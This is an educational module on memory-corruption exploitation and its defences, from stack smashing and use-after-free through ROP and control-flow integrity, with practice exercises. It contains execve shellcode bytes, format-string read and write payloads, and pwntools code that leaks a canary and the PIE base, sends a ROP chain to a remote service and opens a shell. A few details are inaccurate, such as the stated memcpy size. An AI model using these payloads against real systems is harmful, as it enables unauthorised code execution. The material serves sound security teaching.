R0KernelPath
module 237 / 262

Software Security & Exploitation

Master the attacker's playbook — buffer overflows, ROP chains, and integer bugs — then understand every defensive layer that modern systems deploy to stop them.

~18h focused study11 concepts

Overview

Software security is not a checklist you bolt on after coding — it is a lens through which to understand every layer of a running program. This module teaches you to think like an attacker: to see a C function not just as a block of logic but as a region of memory whose boundaries, if violated, can redirect execution to arbitrary code. Understanding exploitation at this depth is the prerequisite for understanding why modern defenses like ASLR, stack canaries, and control-flow integrity exist and what they actually prevent.

We begin at the hardware level, studying exactly how the x86/x86-64 calling convention lays out the stack frame: return address, saved base pointer, local variables, arguments. From there we derive the classic stack-smashing attack from first principles — no hand-waving, just memory arithmetic. We then show how the same class of mistake (trusting attacker-supplied length) produces heap overflows, format-string vulnerabilities, and integer overflows that feed back into buffer overflows.

Because defenses were deployed incrementally over the 1990s–2020s, every new mitigation spawned a new attack technique that bypassed it. We trace this arms race: NX/DEP killed shellcode-in-stack, so attackers invented return-into-libc; ASLR randomized addresses, so attackers developed information-leak oracles and return-oriented programming (ROP) to build Turing-complete payloads from existing code fragments. Understanding each mitigation-bypass pair simultaneously teaches both the defense and the attack.

The module closes with modern state-of-the-art: Control-Flow Integrity (CFI), shadow stacks, safe languages, and fuzzing as the practical tool that finds all of the above automatically. By the end you will be able to read a CVE advisory, map it to a bug class, understand the exploit technique used, and reason about which mitigations would or would not have prevented it.

why this matters for the kernel

Buffer overflows have caused more catastrophic security incidents than any other bug class: Morris Worm (1988), Code Red (2001), Heartbleed (2014), EternalBlue/WannaCry (2017), and hundreds of iOS/Android/browser zero-days each year. The underlying mechanism — a program writing past the end of an array and overwriting adjacent memory — is 40 years old, yet it still appears in production code daily. Understanding it at the assembly level is not optional for any serious systems programmer, security engineer, or OS/compiler researcher.

Beyond preventing bugs you write yourself, this knowledge is foundational for an entire career domain: vulnerability research, penetration testing, compiler hardening, OS kernel security, browser security, and firmware analysis all require reasoning at the level of bytes, addresses, and control flow. Even if you spend your career writing Python, you deploy it on a C runtime, a Linux kernel, and hardware whose firmware is written in C — the attack surface is always there. The concepts in this module — memory safety, privilege boundaries, control-flow integrity — are reshaping language design (Rust), hardware architecture (ARM PAC, CHERI), and operating system kernels right now.

The Exploit Mitigation Arms Race

rendering diagram…

Each mitigation spawned a corresponding bypass technique. Reading left-to-right and top-to-bottom traces the historical arms race from 1988 (Morris Worm) through 2023. Memory-safe languages are the only intervention that breaks the cycle by eliminating the bug class rather than raising exploitation cost.

The concepts

01The Stack Frame and Calling Convention

Before any exploit makes sense, you must have a precise mental model of the call stack. When a function is called on x86-64 Linux (System V AMD64 ABI), the hardware and compiler cooperate to build a stack frame in memory.

What gets pushed and in what order:

  1. The caller places the first six integer arguments in registers (rdi, rsi, rdx, rcx, r8, r9) and additional arguments on the stack.
  2. The call instruction pushes the return address (the address of the instruction after call) onto the stack and jumps to the callee.
  3. The callee's prologue pushes the saved base pointer (rbp) and sets rbp = rsp.
  4. The callee subtracts from rsp to allocate space for local variables.

Memory layout from high address to low (stack grows downward):

High address
[ ... caller's frame ... ]
[ argument 7, 8, ...    ]  ← pushed by caller
[ return address        ]  ← pushed by call
[ saved rbp             ]  ← pushed by callee prologue
[ local var 1           ]
[ local var 2           ]  ← rsp points here
Low address

The critical insight: the return address lives at a known, fixed offset from a local array variable. If the array can be overwritten beyond its bounds, the return address is reachable. This single architectural fact is the root of stack-smashing attacks.

Analogy: Think of each stack frame as a card in a stack of index cards. The bottom edge of each card is the return address — where to go when you finish reading this card. If you can scribble past the edge of a card, you overwrite the return destination of the card below it.

// Compile: gcc -g -fno-stack-protector -o demo demo.c
#include <stdio.h>
void inspect_frame() {
    long local_a = 0xAAAA;
    long local_b = 0xBBBB;
    // Print addresses to observe layout
    printf("&local_a = %p\n", (void*)&local_a);
    printf("&local_b = %p\n", (void*)&local_b);
    // On x86-64: saved rbp is at rbp+0, return addr at rbp+8
    long *frame = (long*)__builtin_frame_address(0);
    printf("saved rbp = %p\n", (void*)frame[0]);
    printf("return addr = %p\n", (void*)frame[1]);
}
int main() { inspect_frame(); return 0; }

02Classic Stack Buffer Overflow

A stack buffer overflow occurs when a program writes more data into a stack-allocated array than the array can hold, overwriting adjacent stack memory. The canonical vehicle is strcpy, gets, scanf("%s", ...), and similar unbounded string functions.

Step-by-step exploit mechanics:

  1. The vulnerable function allocates a local buffer, say char buf[64].
  2. The program calls gets(buf) or equivalent, reading attacker-controlled input.
  3. The attacker supplies more than 64 bytes. The excess bytes overwrite:
    • Padding/alignment bytes
    • The saved rbp
    • The return address (the grand prize)
  4. The attacker sets the return address to point at their shellcode — machine instructions they embedded in the input payload itself (usually at the start of buf).
  5. When the function returns (ret instruction), it pops the attacker's address into rip and execution jumps to the shellcode.

Payload layout:

[ NOP sled (optional) ][ shellcode ][ padding ][ &buf on stack ]
|<--- fits in buf --->|            |<-- fills gap -->|<-- overwrites retaddr -->|

The NOP sled is a sequence of 0x90 (NOP) instructions. If the attacker is unsure of the exact address of buf, they aim at the middle of the sled — any landing in the sled slides execution into the shellcode.

Why is this possible? C arrays have no bounds checking at runtime. buf[64] is simply a pointer and a size that the compiler knows at compile time but the CPU does not enforce at runtime. The CPU blindly honors any address in rip.

Classic vulnerable pattern:

void vuln(void) {
    char buf[64];
    gets(buf);  // reads until newline, no length limit
    printf("Hello, %s\n", buf);
}

If gets reads 80 bytes, bytes 65-80 overwrite saved rbp and return address.

// Vulnerable function (educational only — never ship this)
void vuln(void) {
    char buf[64];   // 64 bytes on stack
    gets(buf);      // DANGER: no length check
}
// Exploit payload structure (conceptual):
// Offset 0..63   : padding (or shellcode)
// Offset 64..71  : overwrites saved rbp (8 bytes on x86-64)
// Offset 72..79  : overwrites return address <- attacker's target

// Attacker sets retaddr = &buf to jump to shellcode in buf
// Shellcode example (execve /bin/sh, 27 bytes x86-64 Linux):
// \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff
// \x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0
// \x3b\x0f\x05

03Heap Overflows and Use-After-Free

The stack is only one attack surface. Dynamic memory allocated via malloc/new lives on the heap, and heap corruption is equally devastating — and often harder to defend.

Heap overflow: Writing past the end of a heap-allocated buffer overwrites adjacent heap metadata (free-list pointers in glibc's ptmalloc) or adjacent allocations. By carefully controlling the heap layout, an attacker can overwrite a function pointer stored in an adjacent object and hijack control flow when that pointer is called.

Use-after-free (UAF): A program frees a heap chunk and continues to hold a pointer to it. Later, the allocator gives the same memory to a different allocation. The attacker, who controls one object (e.g., an ArrayBuffer in a browser), fills it with crafted data. When the first (now-freed) pointer is dereferenced as a vtable or function pointer, execution is redirected. UAF is the dominant bug class in modern browser exploits.

Double free: Calling free(p) twice corrupts the free list in a way the attacker can exploit to write an arbitrary value to an arbitrary address — the classic "write-what-where" primitive.

Why heap exploits are harder: The heap layout depends on prior allocation history. Exploit developers must groom the heap — make a predictable sequence of allocations and frees to place their controlled data adjacent to a target structure. Browser exploit authors spend most of their time on heap grooming.

Analogy: The heap is like a shared whiteboard. If you erase your sticky note but leave someone else's pointer pointing at that spot, and someone new writes different content there, the original pointer now reads the new content as if it were the old structure.

// Use-after-free example
#include <stdlib.h>
#include <string.h>
typedef struct { void (*handler)(const char*); char name[32]; } Obj;

void legit(const char* s) { printf("legit: %s\n", s); }
void evil(const char* s)  { printf("PWNED via UAF!\n"); }

int main() {
    Obj *o = malloc(sizeof(Obj));  // allocate object
    o->handler = legit;
    free(o);                       // free it
    // --- allocator may reuse the same chunk ---
    char *controlled = malloc(sizeof(Obj));
    // attacker writes evil function pointer at offset 0
    *(void**)controlled = (void*)evil;
    // still-live stale pointer calls "handler"
    o->handler("hello");           // calls evil()
    free(controlled);
    return 0;
}

04Integer Overflows and Underflows

Integer overflows are deceptively simple arithmetic bugs with devastating security consequences. In C/C++, unsigned integers wrap modulo 2^N; signed integer overflow is undefined behavior (the compiler is free to optimize it away or miscompile it).

Security-relevant patterns:

  1. Size computation overflow: malloc(count * element_size) where both are attacker-controlled. If count = 0x40000001 and element_size = 8, the multiplication wraps to 8 on a 32-bit size_t. malloc allocates 8 bytes; the subsequent copy fills count * element_size = 2 GB — a massive heap overflow.

  2. Signedness confusion: A function takes int len but passes it to memcpy which expects size_t. If the attacker passes len = -1, the cast to size_t yields 0xFFFFFFFFFFFFFFFF — memcpy copies nearly 4 GB.

  3. Off-by-one (Fence-post): A loop condition uses <= instead of <, writing one byte past a buffer. On the stack this can overwrite the null terminator of the next variable, enabling a format-string leak or a one-byte return address modification.

Why compilers make this worse: Modern compilers exploit undefined behavior to optimize loops. A signed-overflow check like if (x + 1 < x) is compiled away because signed overflow is UB. The intended guard simply disappears.

Real example: The original OpenSSH heap overflow (2002) arose from integer overflow in challenge-response authentication. CVE-2021-3156 (sudo Baron Samedit) used a heap overflow triggered by an off-by-one in argc counting.

Safe alternatives: Use size_t consistently, check for overflow before multiplication (if (count > SIZE_MAX / element_size)), or use language-level safe arithmetic (Rust's checked arithmetic, C23's ckd_add).

// Integer overflow feeding a buffer overflow
#include <stdlib.h>
#include <string.h>
void vulnerable_copy(unsigned int count, unsigned int elem_size,
                     const char *src) {
    // BUG: if count=0x20000001 and elem_size=8,
    // count*elem_size = 0x100000008 which truncates to 8 on 32-bit size_t
    size_t total = count * elem_size;   // overflow!
    char *buf = malloc(total);          // allocates 8 bytes
    memcpy(buf, src, total);            // copies 8 bytes — but total
                                        // was supposed to be much larger,
                                        // original intent overwrites heap
    free(buf);
}
// Safe version:
void safe_copy(size_t count, size_t elem_size, const char *src) {
    if (elem_size != 0 && count > SIZE_MAX / elem_size) abort(); // guard
    size_t total = count * elem_size;
    char *buf = malloc(total);
    if (!buf) abort();
    memcpy(buf, src, total);
    free(buf);
}

05Format String Vulnerabilities

Format string vulnerabilities arise when attacker-controlled data is passed as the format string argument to printf, sprintf, fprintf, or similar functions — rather than as a data argument.

The mechanics of printf: printf reads its format string and walks the argument list. Each %d or %s causes it to pop the next argument from the stack (or register on x86-64). If there is no corresponding argument, printf reads whatever happens to be on the stack — an unintentional memory read.

Read primitive: printf(buf) where buf = "%x %x %x %x %x %x" prints six values from the stack, leaking stack addresses, canary values, and return addresses.

Write primitive — the dangerous one: %n writes the number of characters printed so far to the address in the next argument. With %<N>x%n you can write the value N to an arbitrary address. This gives a write-what-where capability that can overwrite GOT entries (Global Offset Table), function pointers, or the return address.

Example attack: If an attacker can make a logging call do printf(user_input), they can:

  1. Use %lx.%lx.%lx... to dump stack contents and find the canary and a libc address.
  2. Use %<offset>$n (direct parameter access) to write a value to the GOT entry of exit, redirecting it to their shellcode or a ROP chain.

Why does this still happen? Lazy logging: fprintf(log, user_message) instead of fprintf(log, "%s", user_message). GCC warns about this (-Wformat-security) but warnings are ignored.

Fix: Always, always pass a literal format string. printf("%s", untrusted) is safe; printf(untrusted) is not.

// Vulnerable: attacker controls the format string
void log_message(const char *user_input) {
    printf(user_input);   // WRONG
}
// Safe:
void log_message_safe(const char *user_input) {
    printf("%s", user_input);  // format string is a literal
}

// Demonstration of read primitive (do NOT use in production):
// If user_input = "%lx.%lx.%lx.%lx.%lx.%lx"
// printf prints 6 quad-words from the stack/registers:
// e.g.: 7ffd8b2a10c0.1.7f3c9a0e4b97.0.deadbeef.7ffd8b2a10f8
// The attacker uses these values to compute canary, libc base, etc.

// Write primitive (conceptual):
// "%100x%7$n" writes the value 100 to the address
// stored at the 7th printf argument position on the stack.

06Stack Canaries

The stack canary (or stack cookie) is the first major mitigation deployed against stack overflows, introduced in StackGuard (1998) and now standard in GCC (-fstack-protector-strong) and Clang.

Mechanism: The compiler inserts code in every function prologue to:

  1. Read a random canary value from a thread-local area (the fs segment register on x86-64 points to thread-local storage; the canary is at a fixed offset).
  2. Push that value onto the stack between local variables and the saved return address.

The function epilogue checks: if the canary on the stack still matches the master copy, the function returns normally. If it has been modified (because a buffer overflow overwrote it), the program calls __stack_chk_fail, which terminates immediately.

What it protects: Sequential overwrites of the return address — the classic linear stack smash.

What it does NOT protect:

  • Overwrites that skip the canary (e.g., via a format string or arbitrary write)
  • Heap exploits
  • Return-address overwrites that first leak the canary (see below)

Bypasses:

  1. Canary leak: A format-string bug or out-of-bounds read leaks the canary value. The attacker embeds the correct canary in their payload, so the check passes.
  2. Brute force (32-bit): The canary is 3 random bytes + a null byte (the null prevents certain string reads). On 32-bit with forking servers (canary inherited by child, not re-randomized), 256^3 = 16M guesses, feasible in minutes against a server that doesn't terminate on crash.
  3. Jump over: Overwrite a local function pointer or exception handler rather than the return address.

The null byte trick: The least-significant byte of the canary is always \x00. This terminates C strings, so strcpy-based overflows cannot copy the canary from any source string — a small additional defense.

// What the compiler generates (pseudocode for gcc -fstack-protector-strong):
void protected_function() {
    // PROLOGUE inserted by compiler:
    uintptr_t canary = __readfsqword(0x28); // read from TLS
    uintptr_t saved_canary = canary;        // push on stack

    char buf[64]; // local variable

    gets(buf);    // still vulnerable to overflow!

    // EPILOGUE inserted by compiler:
    if (saved_canary != __readfsqword(0x28)) {
        __stack_chk_fail(); // abort — canary was modified
    }
    // return
}
// Stack layout with canary:
// [ buf[0..63] ][ CANARY (8 bytes) ][ saved rbp ][ return addr ]

07Non-Executable Memory: NX / DEP / W^X

NX (No-eXecute) — also called DEP (Data Execution Prevention) on Windows, or enforced via the W^X (Write XOR Execute) policy — is the hardware and OS mechanism that marks memory pages as either writable or executable, but not both simultaneously.

Hardware support: The x86 page-table entry has an NX bit (bit 63), introduced with AMD64 and Intel EM64T around 2004. The OS kernel sets this bit for stack and heap pages in the process's page table. If the CPU attempts to fetch an instruction from a page with NX set, it raises a general protection fault and the OS terminates the process.

What it kills: Classic shellcode-in-buffer attacks. You can still write your shellcode to the stack or heap buffer, but the CPU refuses to execute it there.

What it does NOT kill:

  • Code-reuse attacks (ROP/ret2libc) — the attacker never writes new executable code; they reuse existing code pages, which are always executable.
  • Overwrites of function pointers that point into executable regions.

OS and linker enforcement:

  • Linux: mprotect(PROT_EXEC) can re-enable execution; if the binary or a library calls this, attackers can use mprotect itself as a ROP gadget to make the stack executable again. This is why W^X enforcement in hardened systems (OpenBSD, gVisor) tries to prohibit mprotect(PROT_WRITE|PROT_EXEC) entirely.
  • execstack flag in ELF: some old ABI conventions required executable stacks (nested function trampolines). A binary with execstack set disables NX for that process.

Checking NX on Linux:

readelf -l /bin/ls | grep GNU_STACK
# RW (no X) means NX is active; RWE means executable stack
// Checking whether the stack is executable at runtime
#include <sys/mman.h>
#include <stdio.h>
int main() {
    char buf[128];
    // Try to make the stack page executable
    // (will fail if NX is enforced by kernel + hardware)
    void *page = (void*)((uintptr_t)buf & ~0xFFF); // page-align
    int result = mprotect(page, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
    if (result == 0)
        printf("Stack made executable — NX not enforced!\n");
    else
        printf("mprotect failed: NX is enforced (expected on modern OS)\n");
    return 0;
}

08Address Space Layout Randomization (ASLR)

ASLR randomizes the base addresses of the stack, heap, and shared libraries each time a program is run. An attacker who wants to jump to a specific address (e.g., system() in libc, or their shellcode on the stack) must know where that address is — and with ASLR, they don't.

What is randomized (on Linux with full ASLR, /proc/sys/kernel/randomize_va_space = 2):

  • Stack start address (typically 20–28 bits of entropy on 64-bit)
  • Heap start address
  • mmap region (where shared libraries load, typically ~28 bits)
  • vDSO, vsyscall pages

What is NOT randomized by default:

  • The main executable itself, unless compiled as Position-Independent Executable (PIE) (-fPIC -pie). A non-PIE binary always loads at a fixed address (e.g., 0x400000).

Bypasses:

  1. Information leak: A format-string bug, out-of-bounds read, or use of a non-randomized address can leak a pointer into the randomized region. One libc pointer leak reveals the entire libc base (since all symbols are at fixed offsets from base). This is the dominant bypass technique.
  2. Brute force on 32-bit: 32-bit ASLR provides only ~16 bits of entropy for the stack (~2^16 = 65536 positions). Against a forking server that doesn't crash-exit, a few thousand requests can statistically find the right address.
  3. Partial overwrite: If the attacker can overwrite only the low bytes of a return address (e.g., one or two bytes via a null-byte-safe overflow), they can redirect to a different offset within the same randomized page without knowing the full base.
  4. Spray attacks: Heap spraying fills large regions of memory with NOPs + shellcode (or fake objects), so that any reasonable guess hits valid attacker data.

PIE + ASLR: When the executable itself is PIE (mandatory on modern Ubuntu/Fedora), the code segment is also randomized. This eliminates the non-PIE bypass and makes ASLR substantially stronger.

# Check ASLR level on Linux:
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = partial (stack/heap only), 2 = full

# Observe ASLR in action:
for i in 1 2 3; do
  # Print the address of main() — changes each run with PIE
  python3 -c "
import subprocess, re
out = subprocess.check_output(['nm', '-D', '/lib/x86_64-linux-gnu/libc.so.6'])
for line in out.decode().splitlines():
    if ' system' in line:
        print('system offset:', line.split()[0])
        break
"
done

# Information leak example (conceptual):
# 1. Attacker leaks one libc pointer from the stack (format string)
# 2. libc_base = leaked_ptr - known_offset_of_leaked_symbol
# 3. system_addr = libc_base + offset_of_system
# 4. /bin/sh_addr = libc_base + offset_of_binsh_string
# ASLR defeated by a single pointer leak.

09Return-Oriented Programming (ROP)

Return-Oriented Programming (ROP) is the technique that defeated NX/DEP. It was formalized by Hovav Shacham in 2007 ("The Geometry of Innocent Flesh on the Bone"), though the conceptual predecessor (ret2libc) appeared in the mid-1990s.

Core idea: Instead of injecting new executable code, reuse gadgets — short sequences of existing instructions that end in a ret instruction — that are already present in the program or its libraries. By chaining gadgets together via the stack (each ret pops the next gadget address from the stack), you can build a Turing-complete computation without writing a single new byte to an executable page.

Gadget examples:

  • pop rdi ; ret — loads the next stack value into rdi (first argument register)
  • pop rsi ; ret — loads the next stack value into rsi
  • xor rax, rax ; ret — zeros rax (syscall number for read)
  • syscall ; ret — executes a syscall

Building a chain to call execve("/bin/sh", NULL, NULL):

Stack layout (read bottom-to-top during execution):
[addr of: pop rdi; ret]   <- first gadget
[addr of "/bin/sh" string] <- loaded into rdi
[addr of: pop rsi; ret]
[0]                        <- NULL for argv
[addr of: xor rdx, rdx; ret]
[addr of: mov rax, 59; syscall; ret]  <- execve syscall

Each ret pops the next entry as a return address and jumps to it, chaining gadgets.

Finding gadgets: Tools like ROPgadget, ropper, and pwntools' ROP module scan all executable sections of a binary and its libraries for every ...; ret sequence. In a large binary or libc (~2 MB), thousands of gadgets exist. Shacham proved that x86 (with its variable-length instruction encoding) is Turing-complete in gadgets found in any sufficiently large code corpus.

ASLR as a ROP obstacle: ROP needs gadget addresses. With ASLR + PIE, those addresses are unknown. Solution: stage 1 uses a stack-based info leak (format string, GOT overread) to leak a libc address; stage 2 uses that to compute all gadget addresses; stage 3 runs the ROP chain.

ret2libc as the simplest ROP: Before full ROP was articulated, attackers discovered you could return directly into system() in libc (which is always executable), passing the address of the string "/bin/sh" (also in libc) as the argument. This bypasses NX with a single "gadget".

# Using pwntools to build a ROP chain (Python)
from pwn import *

binary = ELF('./vulnerable_binary')    # parse ELF
libc   = ELF('./libc.so.6')            # parse libc

# --- Stage 1: exploit a leak to defeat ASLR ---
# (assume we have a leak that gives us puts@libc address)
leaked_puts = 0x7f3c9a0e4b10  # example leaked value
libc.address = leaked_puts - libc.symbols['puts']  # compute libc base

# --- Stage 2: build ROP chain ---
rop = ROP(libc)
rop.call(libc.symbols['system'], [next(libc.search(b'/bin/sh\x00'))])

# rop.chain() returns bytes:
# [addr of pop rdi; ret] [addr of /bin/sh] [addr of system]
print(hexdump(rop.chain()))

# --- Stage 3: craft payload ---
# payload = padding to fill buf + overwrite saved rbp + ROP chain
payload = b'A' * 72     # 64 buf + 8 saved rbp
payload += rop.chain()

10Control-Flow Integrity (CFI)

Control-Flow Integrity (CFI) is the modern defense class designed to stop code-reuse attacks including ROP. First proposed by Abadi et al. (Microsoft Research) in 2005, it has been deployed in production compilers (Clang CFI, MSVC Control Flow Guard, GCC IBT) and hardware (ARM BTI, x86 Intel CET).

The fundamental problem: Both return addresses and indirect calls (function pointers, virtual dispatch) are values in memory. An attacker who can overwrite them can redirect execution to arbitrary gadgets.

CFI's answer: Restrict the set of legal control-flow transfers. The compiler statically computes the control-flow graph (CFG) of the program and inserts runtime checks ensuring every indirect branch (indirect call, indirect jump, return) goes only to a location that is valid in the CFG.

Forward-edge CFI (indirect calls/jumps): Clang's CFI inserts a type check before every virtual call and indirect function call. For virtual dispatch ((*vtable[slot])(obj, ...)) it checks that the vtable pointer is from a valid object of the expected type. Invalid vtable pointers (as set up by a UAF exploit) cause an immediate abort.

Backward-edge CFI (returns) — Shadow Stack: Intel CET's Shadow Stack (CET-SS, deployed in Tiger Lake+) maintains a second, hardware-protected copy of return addresses in a separate memory region (SSP register). The RET instruction atomically pops from both the regular stack and the shadow stack and checks they match. Mismatches cause a #CP exception. An attacker who overwrites the return address on the regular stack is caught because the shadow stack still holds the legitimate address.

ARM Pointer Authentication (PAC): ARMv8.3 adds instructions that sign pointers with a cryptographic MAC using a key stored in a privileged register. The return address is signed on function entry and authenticated on return (RETAA). Forged return addresses fail authentication.

Limitations:

  • CFI does not stop data-only attacks: if the attacker manipulates program data without redirecting control flow (e.g., overwriting a uid field in a struct), CFI is blind.
  • CFI granularity matters: coarse-grained CFI ("any function whose address was taken") leaves a large gadget set. Fine-grained CFI (type-based checking) is much stronger but has higher overhead.
  • JIT compilers (JavaScript engines) frequently create and execute new code pages — CFI integration with JIT is an active research area.
// Clang CFI for virtual calls: what the compiler generates
// Source:
struct Animal { virtual void speak() = 0; };
struct Dog : Animal { void speak() override { puts("woof"); } };
void make_noise(Animal *a) { a->speak(); }

// Clang -fsanitize=cfi-vcall inserts (conceptually):
void make_noise_cfi(Animal *a) {
    // Check that the vtable pointer in *a points to a valid
    // vtable for a class that inherits from Animal:
    if (!__cfi_check_vtable(a, typeid(Animal)))
        __builtin_trap(); // CFI violation: abort
    a->speak();
}
// An attacker who placed a fake vtable (UAF/heap overflow)
// into *a will hit __builtin_trap before the corrupt pointer
// is ever called.

11Putting It Together: The Modern Exploit Chain

Against a fully hardened modern system (ASLR + PIE + NX + stack canary + CFI + shadow stack), a typical real-world exploit must chain multiple primitives. Understanding the full chain illuminates why each defense matters and why defense-in-depth is the only reliable strategy.

A typical 2020s browser exploit (simplified):

  1. Memory corruption bug: A type confusion in the JavaScript JIT (UAF or out-of-bounds write) gives the attacker a relative write — they can write arbitrary bytes to a controlled offset from a controlled buffer.

  2. Info leak (defeating ASLR): Using the relative write to corrupt an adjacent object's length field, the attacker creates an "overlapping buffer" read that exposes pointers to other objects, including a JIT code pointer or a pointer into the browser's text segment. This reveals base addresses.

  3. Shadow stack bypass: Because shadow stack protects return addresses but NOT function pointers stored in vtables or JIT code pages, the attacker uses a corrupted vtable pointer to call a gadget — bypassing shadow stack entirely because the attacker never modifies a return address on the regular stack.

  4. CFI bypass (if coarse-grained): Coarse-grained CFI permits calls to any function whose address was taken. In a large binary, this still allows thousands of targets. A COOP (Counterfeit Object-Oriented Programming) attack reuses existing virtual method dispatches, staying within the CFI policy while still achieving attacker-controlled execution.

  5. Sandbox escape: Browser renderer processes run in a sandboxed environment. Step 4 gives code execution inside the renderer. A second exploit (kernel bug or IPC bug) escapes the sandbox to full OS access.

Key lesson: Every mitigation raises the cost and complexity of exploitation but does not make it impossible. The arms race continues. Memory-safe languages (Rust, Go, Swift) are the only currently known approach that eliminates entire bug classes rather than raising their exploitation cost.

# Exploit chain skeleton in pwntools (educational)
from pwn import *

# Assume a service with:
# - stack canary (bypass via leak)
# - ASLR + PIE (bypass via info leak)
# - NX (bypass via ROP)
# Steps:

# 1. LEAK: trigger format string to read canary + PIE base
leak_payload = b'%15$p.%21$p'   # stack offsets found by probing
p = remote('target', 9999)
p.sendline(leak_payload)
response = p.recvline()
canary, pie_leak = [int(x, 16) for x in response.split(b'.')]

# 2. Compute addresses
pie_base = pie_leak - 0x11a0   # known offset of leaked addr from base
libc_base = ...                 # from another leak

# 3. Build ROP chain (no shellcode needed — NX bypass)
rop_chain = p64(pie_base + POP_RDI_RET)
rop_chain += p64(libc_base + BINSH_OFFSET)
rop_chain += p64(libc_base + SYSTEM_OFFSET)

# 4. Craft overflow: padding + correct canary + saved rbp + ROP
payload = b'A' * 64          # fill buf
payload += p64(canary)       # correct canary (bypass check)
payload += b'B' * 8          # saved rbp (overwrite with junk)
payload += rop_chain         # overwrite return address

p.sendline(payload)
p.interactive()               # shell!

Key insights

  • ✦The entire stack-smashing attack family follows from one fact: the return address lives at a fixed, computable offset from local variables, and C has no runtime bounds checking.
  • ✦Every mitigation in the history of software security has been bypassed — ASLR by information leaks, canaries by canary leaks, NX by code reuse (ROP), CFI by data-only attacks. Defense-in-depth works by making the exploit chain exponentially more complex, not by being individually unbreakable.
  • ✦A single pointer leak completely defeats ASLR: knowing one address in a randomized region reveals the base of the entire region, because internal offsets are fixed.
  • ✦ROP is Turing-complete in any sufficiently large code corpus (proved for x86) — NX/DEP cannot stop an attacker who never writes to an executable page.
  • ✦Integer overflow is the silent feeder bug: it frequently creates a small allocation that is then filled with a large amount of data, turning a silent arithmetic bug into a heap overflow.
  • ✦The most important distinction in modern exploitation is between forward-edge (indirect call/jump) and backward-edge (return) control-flow transfers — CFI must protect both to be effective.
  • ✦Memory-safe languages (Rust, Go) eliminate spatial safety bugs (buffer overflows) and temporal safety bugs (UAF, double-free) by design, not by mitigation — they are fundamentally different from C-level defenses.
  • ✦Shadow stacks (Intel CET, ARM PAC) move return-address protection to hardware, making it significantly harder to bypass than software canaries — but they only protect returns, not function pointers.

Common pitfalls

  • ⚠Assuming ASLR alone is sufficient: students often think 'addresses are randomized, so attackers can't jump to anything useful' — forgetting that a single format-string or out-of-bounds read leaks enough to compute all addresses.
  • ⚠Confusing stack canaries with memory safety: canaries detect a sequential overflow of the return address but do nothing for arbitrary writes (format strings, UAF), heap overflows, or overwrites of local function pointers that precede the canary on the stack.
  • ⚠Thinking NX/DEP defeats all injection: NX stops injected shellcode from executing, but ROP reuses existing executable code and never needs to write to an executable page — NX is irrelevant to ROP.
  • ⚠Forgetting that x86 instructions are variable-length: an attacker can start executing a gadget in the MIDDLE of a legitimate instruction (unintended gadget), creating gadgets the programmer never wrote. This makes x86 ROP far more powerful than RISC architectures.
  • ⚠Treating undefined behavior in C as 'probably fine': signed integer overflow is UB; compilers optimize away overflow checks written around UB, removing the programmer's intended guard silently.
  • ⚠Not distinguishing PIE from ASLR: ASLR randomizes shared libraries and stack/heap, but the main executable loads at a fixed address unless compiled as PIE. A non-PIE binary leaks its own code section to any attacker with a read primitive.
  • ⚠Believing CFI alone stops exploitation: coarse-grained CFI still permits calls to hundreds of valid targets (any function whose address was taken), enough to build ROP-equivalent chains (JOP — Jump-Oriented Programming).
  • ⚠Underestimating heap grooming complexity: students often think heap exploits are simpler than stack exploits because 'you just overflow a buffer' — in reality, producing a predictable heap layout against a modern allocator (ptmalloc, jemalloc, PartitionAlloc) is the hardest part of modern exploitation.

Practice

  1. 01
    medium

    **Exploit a vanilla stack overflow:** Compile the following function with `-fno-stack-protector -no-pie -z execstack` on a 64-bit Linux VM: `void vuln(void) { char buf[64]; gets(buf); }`. Write a Python script using pwntools that (1) determines the exact offset to the return address by sending a De Bruijn pattern, (2) places shellcode for `execve("/bin/sh", NULL, NULL)` in the buffer, and (3) overwrites the return address with the stack address of your shellcode (obtained with gdb). Get a shell.

  2. 02
    hard

    **Defeat ASLR with an info leak:** Given a service that has a format-string vulnerability (`printf(user_input)`) followed by a buffer overflow (but with ASLR + PIE enabled, no canary), write a two-stage exploit: Stage 1 leaks a return address from the stack to compute the PIE base and libc base. Stage 2 uses those addresses to build a `ret2system` chain. No shellcode allowed (NX is on).

  3. 03
    hard

    **Build a ROP chain manually:** Without using automated tools (no pwntools ROP module), use `ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6` to find the following gadgets in libc: `pop rdi ; ret`, `pop rsi ; ret`, `xor rdx, rdx ; ret`, and a `syscall` gadget. Then hand-assemble a chain that calls `execve("/bin/sh", NULL, NULL)` (syscall number 59 on x86-64). Test it against a vulnerable program compiled with NX enabled but without ASLR (`echo 0 > /proc/sys/kernel/randomize_va_space` in a VM).

  4. 04
    medium

    **Integer overflow to heap overflow:** Write a C program with a function `void copy_items(uint32_t count, uint32_t item_size, char *src)` that has an integer overflow bug in the allocation size computation. Then write a separate program that calls this function with crafted `count` and `item_size` values that trigger the overflow, causing a small allocation to be filled with a large `memcpy`. Use Valgrind or AddressSanitizer (`-fsanitize=address`) to confirm the heap corruption is detected. Then fix the function with a proper overflow check.

  5. 05
    medium

    **Analyze a real CVE:** Read the advisory for CVE-2021-3156 (sudo Baron Samedit). Write a 500-word technical explanation that: (1) identifies the exact bug class (buffer overflow, integer overflow, etc.), (2) explains how the overflow is triggered and what memory it corrupts, (3) explains which mitigations were present on affected systems and why they did not prevent exploitation, and (4) describes what code change fixed the bug.

  6. 06
    easy

    **Shadow stack vs function pointer:** Write a demonstration program that shows: (a) a standard stack canary catches a sequential return-address overflow and aborts cleanly; (b) the SAME program's function pointer (a local `void (*fp)(void)` that precedes the canary on the stack) can be overwritten by the same overflow WITHOUT triggering the canary, because the canary sits between the function pointer and the return address. Explain in comments why shadow stacks would or would not help here.

Resources

📕Computer Systems: A Programmer's Perspective (CS:APP), 3rd ed.
bookpaidBryant & O'Hallaron, Pearson

Chapter 3 (machine-level programming) and the Attack Lab (buffer lab) are the canonical undergraduate treatment of stack frames and buffer overflows. The Attack Lab is freely available.

🎓MIT 6.858: Computer Systems Security — Course Materials
coursefree

Lecture notes on buffer overflows, return-oriented programming, and mitigations directly from MIT. Lab 1 (buffer overflow) is particularly valuable.

✎Smashing The Stack For Fun And Profit
articlefree

Aleph One's 1996 Phrack article — the foundational text that defined the field. Read alongside a modern supplement since it predates ASLR and NX.

